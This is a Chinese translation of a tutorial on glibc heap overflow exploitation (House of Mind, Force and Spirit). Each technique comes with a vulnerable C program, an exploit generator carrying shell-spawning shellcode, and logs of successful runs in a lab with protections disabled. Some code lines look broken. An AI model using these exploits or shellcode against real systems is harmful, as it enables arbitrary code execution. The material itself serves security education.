使用 Malloc Maleficarum 的堆溢出

译者：飞龙

原文：Heap overflow using Malloc Maleficarum

预备条件：

  1. 理解 glibc malloc

从 2004 年末开始，glibc malloc 变得更可靠了。之后，类似 unlink 的技巧已经废弃，攻击者没有线索。但是在 2005 年末，Phantasmal Phatasmagoria 带来了下面这些技巧，用于成功利用堆溢出。

  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit

House of Mind

这个技巧中，攻击者欺骗 glibc malloc 来使用由他伪造的 arena。伪造的 arena 以这种形式构造，unsorted bin 的 fd 包含free的 GOT 条目地址 -12。因此现在当漏洞程序释放某个块的时候，free的 GOT 条目被覆盖为 shellcode 的地址。在成功覆盖 GOT 之后，当漏洞程序调用free，shellcode 就会执行。

预备条件：下面是成功应用 House of Mind 的预备条件，因为不是所有堆溢出漏洞程序都可以使用这个技巧来利用。

  1. 在块的地址之前，需要一系列 malloc 调用 — 当对齐到内存区域中HEAP_MAX_SIZE结果的倍数的时候，内存区域由攻击者控制。这是伪造的heap_info结构所在的内存区域。伪造的heap_info的 arena 指针ar_ptr会指向伪造的 arena。因此伪造的 arena 和伪造的heap_info的内存区域都能由攻击者控制。

  2. 一个块，它的大小字段（以及它的 arena 指针 — 预备条件 1）由攻击者控制，应该已释放。

  3. 上述空闲块的下一个块应该不是 top 块。

漏洞程序：这个程序满足上述预备条件。

  1. /* vuln.c
  2.  House of Mind vulnerable program
  3.  */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  7. int main (void) {
  8.  char *ptr = malloc(1024); /* First allocated chunk */
  9.  char *ptr2; /* Second chunk/Last but one chunk */
  10.  char *ptr3; /* Last chunk */
  11.  int heap = (int)ptr & 0xFFF00000;
  12.  _Bool found = 0;
  13.  int i = 2;
  15.  for (i = 2; i < 1024; i++) {
  16.    /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
  17.    /* 0x08100000 is the place where fake heap_info structure is found. */
  18.    /* [1] */
  19.    if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
  20.      (heap + 0x100000))) {
  21.      printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
  22.      found = 1;
  23.      break;
  24.    }
  25.  }
  26.  /* [2] */ 
  27.  ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
  28.  /* User Input. */
  29.  /* [3] */
  30.  fread (ptr, 1024 * 1024, 1, stdin);
  32.  /* [4] */
  33.  free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
  34.  /* [5] */
  35.  free(ptr3); /* Shell code execution. */
  36.  return(0); /* Bye */
  37. }

上述漏洞程序的堆内存：

1

漏洞程序的行[3]是堆溢出发生的地方。用户输入储存在块 1 的mem指针处，大小共计 1MB。所以为了成功利用堆溢出，攻击者提供了下面的用户输入（列出顺序相同）。

  • 伪造的 arena
  • 垃圾数据
  • 伪造的 heap_info
  • Shellcode

利用程序：这个程序生成了攻击者的数据文件：

  1. /* exp.c
  2. Program to generate attacker data.
  3. Command:
  4.      #./exp > file
  5. */
  6. #include <stdio.h>
  8. #define BIN1 0xb7fd8430
  10. char scode[] =
  11. /* Shellcode to execute linux command "id". Size - 72 bytes. */
  12. "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
  13. "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
  14. "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
  15. "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
  16. "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
  18. char ret_str[4] = "\x00\x00\x00\x00";
  20. void convert_endianess(int arg)
  21. {
  22.         int i=0;
  23.         ret_str[3] = (arg & 0xFF000000) >> 24;
  24.         ret_str[2] = (arg & 0x00FF0000) >> 16;
  25.         ret_str[1] = (arg & 0x0000FF00) >> 8;
  26.         ret_str[0] = (arg & 0x000000FF) >> 0;
  27. }
  28. int main() {
  29.         int i=0,j=0;
  31.         fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
  32.         fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
  33.         fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
  34.         fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
  35.         /* Fake Arena. */
  36.         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
  37.         fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
  38.         for(i=0;i<10;i++)
  39.                 fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
  40.         fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
  41.         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
  42.         for(i=0;i<127;i++) {
  43.                 convert_endianess(BIN1+(i*8));
  44.                 if(i == 119) {
  45.                         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
  46.                         fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
  47.                 } else if(i==0) {
  48.                         fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
  49.                         fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
  50.                 }
  51.                 else {
  52.                         fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
  53.                         fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
  54.                 }
  55.         }
  56.         for(i=0;i<4;i++) {
  57.                 fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
  58.         }
  59.         fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
  60.         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
  61.         fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
  62.         fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
  63.         for(i=0;i<234;i++) {
  64.                 fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
  65.         }
  66.         for(i=0;i<722;i++) {
  67.                 if(i==721) {
  68.                         /* Chunk 724 contains the shellcode. */
  69.                         fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size  - Jmp 24 bytes */
  70.                         fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
  71.                         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
  72.                         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
  73.                         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
  74.                         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
  75.                         fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
  76.                         "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout);  /* NOPS */
  77.                         fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
  78.                         for(j=0;j<230;j++)
  79.                                 fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  80.                         continue;
  81.                 } else {
  82.                         fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
  83.                         fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
  84.                 }
  85.                 if(i==720) {
  86.                         for(j=0;j<90;j++)
  87.                                 fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  88.                         fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
  89.                         for(j=0;j<165;j++)
  90.                                 fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  91.                 } else {
  92.                         for(j=0;j<256;j++)
  93.                                 fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  94.                 }
  95.         }
  96.         return 0;
  97. }

漏洞程序的堆内存，在攻击者生成数据作为用户输入之后：

2

在攻击者生成数据作为用户输入之后，glibc malloc 执行下列事情，当漏洞程序的行[4]执行时：

  • 正在释放的堆的 arena 由访问arena_for_chunk获取。
    • arena_for_chunk：如果没有设置NON_MAIN_ARENA (N)位，会返回主 arena。如果设置了，会通过将块地址对齐到HEAP_MAX_SIZE的倍数，来访问相应的heap_info结构。之后，获取到的heap_info结构的arena 指针会返回。我们这里，NON_MAIN_ARENA位由攻击者设置，因此会获取正在释放的块的heap_info结构（0x08100000）。攻击者也覆盖了（所获取的heap_info结构的）arena 指针，使其指向伪造的 arena，也就是说，heap_info的ar_ptr等于伪造的 arena 的基址（0x0804a018）。
  • 使用 arena 指针和块地址作为参数调用_int_free。我们这里，arena 指针指向了伪造的 arena。因此伪造的 arena 和块地址作为参数传递给了_int_free。
    • 伪造的 arena：下面是伪造区域的受控字段，需要由攻击者覆盖：
      • Mutex - 应该为 unlocked 状态。
      • Bins - unsorted bin 的 fd 应该包含free的 GOT 条目地址。
      • Top - Top 地址应该不等于正在释放的块地址。
      • 系统内存 - 系统内存应该大于下一个块大小。
    • _int_free()
      • 如果块不是 mmap 分配的，要获取锁。我们这里块不是 mmap 分配的，伪造的 arena 的互斥锁获取成功。
      • 合并：
        • 查看上一个块是否空闲，如果空闲则合并。我们这里上一个块已分配，所以不能向后合并。
        • 查看下一个块是否空闲，如果空闲则合并。我们这里下一个块已分配，所以不能合并。
      • 将当前空闲块放进 unsorted bin 中。我们这里伪造的 arena 的 unsorted bin 的 fd 包含free的 GOT 条目地址 -12，它被复制给了fwd值。之后，当前空闲快的地址会复制给fwd->bk。bk位于malloc_chunk偏移 12 处，因此， 12 会加到fwd值，也就是free - 12 + 12。所以现在free的 GOT 条目会变为当前空闲块的地址。由于攻击者已经将他的 shellcode 放进当前空闲块了，现在开始，无论何时调用free，攻击者的 shellcode 都会执行。

使用攻击者生成的数据文件，作为用户输入执行漏洞程序会执行 shellcode，像这样：

  1. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
  4. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
  5. ptr found at 0x804a008
  6. good heap allignment found on malloc() 724 (0x81002a0)
  7. uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

保护：现在，house of mind 技术不起作用了，因为 glibc malloc 已经变得更加可靠。它添加了下面的检查来防止使用 house of mind 的堆溢出。

  • 块破坏：unsorted bin 的第一个块的bk指针应该指向 unsorted bin。如果不是，glibc malloc 会抛出块破坏错误。

    1. if (__glibc_unlikely (fwd->bk != bck))
    2. {
    3.     errstr = "free(): corrupted unsorted chunks";
    4.     goto errout;
    5. }

House of Force

这个技巧中，攻击者滥用 top 块的大小，并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求（大于堆系统内存大小）。现在当新的 malloc 请求产生时，free的 GOT 表就会覆盖为 shellcode 地址。因此从现在开始，无论free何时调用，shellcode 都会执行。

预备条件：为了成功应用 house of force，需要下面三个 malloc 调用：

  • Malloc 1：攻击者应该能够控制 top 块的大小。因此这个分配的块，也就是物理上在 top 块之前的块上，应该能产生堆溢出。
  • Malloc 2：攻击者应该能够控制 malloc 请求的大小。
  • Malloc 3：用户输入应该能复制到这个所分配的块中。

漏洞程序：这个程序满足上述要求

  1. /*
  2. House of force vulnerable program. 
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h> 
  8. int main(int argc, char *argv[])
  9. {
  10.         char *buf1, *buf2, *buf3;
  11.         if (argc != 4) {
  12.                 printf("Usage Error\n");
  13.                 return;
  14.         }
  15.         /* [1] */
  16.         buf1 = malloc(256);
  17.         /* [2] */
  18.         strcpy(buf1, argv[1]); /* Prereq 1 */
  19.         /* [3] */
  20.         buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
  21.         /* [4] */
  22.         buf3 = malloc(256); /* Prereq 3 */
  23.         /* [5] */
  24.         strcpy(buf3, argv[3]); /* Prereq 3 */
  26.         /* [6] */
  27.         free(buf3);
  28.         free(buf2);
  29.         free(buf1);
  30.         return 0;
  31. }

上述漏洞程序的堆内存：

3

漏洞程序的行[2]是堆溢出发生的地方。因此为了成功利用堆溢出，攻击者需要提供下面的命令行参数：

  • argv[1] — 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。
  • argv[2] — 第二个 malloc 块的大小参数。
  • argv[3] — 复制到第三个 malloc 块的用户输入。

利用程序：

  1. /* Program to exploit executable 'vuln' using hof technique.
  2.  */
  3. #include <stdio.h>
  4. #include <unistd.h>
  5. #include <string.h>
  7. #define VULNERABLE "./vuln"
  8. #define FREE_ADDRESS 0x08049858-0x8
  9. #define MALLOC_SIZE "0xFFFFF744"
  10. #define BUF3_USER_INP "\x08\xa0\x04\x08"
  12. /* Spawn a shell. Size - 25 bytes. */
  13. char scode[] =
  14.         "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  16. int main( void )
  17. {       
  18.         int i;
  19.         char * p;
  20.         char argv1[ 265 ];
  21.         char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
  23.         strcpy(argv1,scode);
  24.         for(i=25;i<260;i++)
  25.                 argv1[i] = 'A';
  27.         strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
  28.         argv[264] = ''; /* Terminating NULL character */ 
  30.         /* Execution of the vulnerable program */
  31.         execve( argv[0], argv, NULL );
  32.         return( -1 );
  33. }

漏洞程序的堆内存，一旦攻击者的命令行参数复制到堆中：

4

使用攻击者的参数，下面的事情会发生：

行[2]会覆盖 top 块大小：

  • 攻击者的参数（argv[1] – Shellcode + Pad + 0xFFFFFFFF）会复制到堆缓冲区buf1。但是由于argv[1]大于 256，top 块的大小会覆盖为0xFFFFFFFF。

行[3]使用 top 块代码，分配了一个非常大的块。

  • 非常大的块的分配请求发生在分配之后，新的 top 块应该位于free的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求（行[4]）会帮助我们覆盖free的 GOT 地址。
  • 攻击者的参数（argv[2] – 0xFFFFF744)会作为大小参数，传递给第二个 malloc 调用（行[3]）。大小参数使用下面的公式计算：
    • size = ((free-8)-top)
    • 其中
      • free是可执行文件vuln的 GOT 条目，也就是free = 0x08049858。
      • top是当前 top 块（在第一个 malloc [1]之后），也就是top = 0x0804a108。
    • 因此size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748。
    • 当size = 0xFFFFF748时，我们的任务，将新的 top 块放置在free的 GOT 条目之前 8 个字节处，像这样完成了：
      • (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
    • 但是，当攻击者传递大小参数0xFFFFF748时，glibc malloc 将这个大小转换为可用大小0xFFFFF750。因此，现在新的 top 块大小应该位于0x8049858而不是0x8049850。因此攻击者应该传递0xFFFFF744作为大小参数，而不是0xFFFFF748，因为他会转换为我们所需的可用的大小0xFFFFF748。

在行[4]中：

  • 现在由于行[3]中的 top 块指向0x8049850，一个 256 字节的内存分配请求会使 glibc malloc 返回0x8049858，他会复制到buf3。

在行[5]中：

将buf1的地址复制给buf3，会导致 GOT 覆盖。因此free的调用（行[6]）会导致 shellcode 执行。

使用攻击者的命令行参数执行漏洞程序，会执行 shellcode，像这样：

  1. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp 
  4. $ ls
  5. cmd  exp  exp.c  vuln  vuln.c
  6. $ exit
  7. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$

保护：直到现在，没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出，即使它使用最新的 glibc 编译。

House of Spirit

在这个技巧中，攻击者欺骗 glibc malloc 来返回一个块，它位于栈中（而不是堆中）。这允许攻击者覆盖储存在栈中的返回地址。

预备条件：下面是用于成功利用 house of spirit 的预备条件，因为不是所有堆溢出漏洞程序都可以使用这个技巧利用。

  • 一个缓冲区溢出，用于覆盖一个变量，它包含块地址，由 glibc malloc 返回。
  • 上面的块应该是空闲的。攻击者应该能够控制这个空闲块的大小。它以这种方式控制，空闲块的大小等于下一个分配块的大小。
  • Malloc 一个块。
  • 用户输入应该能够复制到上面所分配的块中。

漏洞程序：这个程序满足上述要求

  1. /* vuln.c
  2. House of Spirit vulnerable program
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  8. void fvuln(char *str1, int age)
  9. {
  10.    char *ptr1, name[44];
  11.    int local_age;
  12.    char *ptr2;
  13.    [1]local_age = age; /* Prereq 2 */
  15.    [2]ptr1 = (char *) malloc(256);
  16.    printf("\nPTR1 = [ %p ]", ptr1);
  17.    [3]strcpy(name, str1); /* Prereq 1 */
  18.    printf("\nPTR1 = [ %p ]\n", ptr1);
  19.    [4]free(ptr1); /* Prereq 2 */
  21.    [5]ptr2 = (char *) malloc(40); /* Prereq 3 */
  22.    [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
  23.    printf("\n%s\n", ptr2);
  24. }
  26. int main(int argc, char *argv[])
  27. {
  28.    int i=0;
  29.    int stud_class[10];  /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
  30.    for(i=0;i<10;i++)
  31.         [7]stud_class[i] = 10;
  32.    if (argc == 3)
  33.       fvuln(argv[1], 25);
  34.    return 0;
  35. }

上述漏洞程序的栈布局：

5

漏洞程序的行[3]是缓冲区溢出发生处。因此为了成功利用漏洞程序，攻击者需要提供下面的命令行参数：

  1. argv[1] = Shell Code + Stack Address + Chunk size

利用程序：

  1. /* Program to exploit executable 'vuln' using hos technique.
  2.  */
  3. #include <stdio.h>
  4. #include <unistd.h>
  5. #include <string.h>
  7. #define VULNERABLE "./vuln"
  9. /* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
  10. char scode[] =
  11.         "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
  13. int main( void )
  14. {
  15.         int i;
  16.         char * p;
  17.         char argv1[54];
  18.         char * argv[] = { VULNERABLE, argv1, NULL };
  20.         strcpy(argv1,scode);
  22.         /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
  23.         strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); 
  25.         argv[53] = '';
  27.         /* Execution of the vulnerable program */
  28.         execve( argv[0], argv, NULL );
  29.         return( -1 );
  30. }

使用攻击者的参数之后，上述漏洞程序的栈布局：

6

使用攻击者的参数，让我们看看返回地址如何覆盖。

行[3]：缓冲区溢出

  • 这里攻击者的输入argv[1]复制到了字符缓冲区name中。因为攻击者的输入大于 44，变量ptr1和loacl_age被栈地址和块大小覆盖。
    • 栈地址（0xbffffdf0） — 当行[5]执行时，攻击者欺骗 glibc malloc 来返回这个地址。
    • 块大小（0x30） — 当行[4]执行时，这个块大小用于欺骗 glibc malloc。

行[4]：将栈区域添加到 glibc malloc 的 fastbin 中。

  • free()调用了_int_free()。现在在缓冲区溢出之后，ptr1 = 0xbffffdf0（而不是0x804aa08）。被覆盖的ptr1作为参数传递给free。这欺骗 glibc malloc 来释放栈上的内存区域。被释放的这个栈区域的大小，位于ptr1-8+4，被攻击者覆盖为0x30。因此 glibc malloc 将这个块看做 fast 块（因为48 < 64），并将释放得快插入 fast binlist 的前面，位于下标 4。

行[5]：获取（在行[4]添加的）栈区域

  • malloc 请求 40 由checked_request2size转换为可用大小 48。由于可用代销 48 属于 fast 块，对应的 fast bin（位于下标 4）会被获取。fast binlist 的第一个块被溢出，并返回给用户。第一个块是在行[4]执行过程中添加的栈区域。

行[6]：覆盖返回地址

  • 将攻击者的参数argv[1]复制到栈区域（由 glibc malloc 返回），它从0xbffffdf0位置开始。argv[1]的前 16 个字节是：
    • \xeb\x0e：JMP 14 字节。
    • \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41：填充。
    • \xb8\xfd\xff\xbf：储存在栈上的返回地址会被这个值覆盖。因此在fvuln执行之后，EIP 是0xbffffdb8 — 这个位置包含 JMP 指令，之后是派生 shell 的 shellcode。

使用攻击者的参数执行漏洞程序会执行 shellcode，像这样：

  1. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp 
  5. PTR1 = [ 0x804a008 ]
  6. PTR1 = [ 0xbffffdf0 ]
  8. AAAAAAAAAA????1?Ph//shh/bin??P??S?
  9. $ ls
  10. cmd  exp  exp.c  print    vuln  vuln.c
  11. $ exit
  12. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$

保护：直到现在，没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出，即使它使用最新的 glibc 编译。

House of Prime: TBU

House of Lore: TBU

注意：出于演示目的，所有漏洞程序都不使用下列 Linux 保护机制编译：

  • ASLR
  • NX
  • RELRO（重定向只读）

参考